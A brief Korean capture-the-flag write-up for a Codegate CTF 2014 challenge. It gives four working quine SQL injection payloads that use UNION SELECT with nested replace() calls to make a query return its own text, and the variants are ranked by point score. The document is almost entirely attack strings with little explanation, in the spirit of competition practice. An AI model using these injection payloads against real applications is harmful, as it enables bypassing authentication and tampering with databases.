1. Description

2. Write-Up

Quine SQLi를 사용하면 되는 문제로서, Codegate CTF 2014에 나왔다고 한다.

' union select replace(replace('" union select replace(replace("$",char(34),char(39)),char(36),"$")%23',char(34),char(39)),char(36),'" union select replace(replace("$",char(34),char(39)),char(36),"$")%23')%23

55점 쿼리 : 'union select replace(replace('"union select replace(replace("$",char(34),char(39)),char(36),"$")%23',char(34),char(39)),char(36),'"union select replace(replace("$",char(34),char(39)),char(36),"$")%23')%23

235점 쿼리 : 'union select replace(replace('"union select replace(replace("$",0x22,0x27),0x24,"$")%23',0x22,0x27),0x24,'"union select replace(replace("$",0x22,0x27),0x24,"$")%23')%23

250점 쿼리 : 'union select replace(replace('"union select replace(replace("%01",0x22,0x27),0x1,"%01")%23',0x22,0x27),0x1,'"union select replace(replace("%01",0x22,0x27),0x1,"%01")%23')%23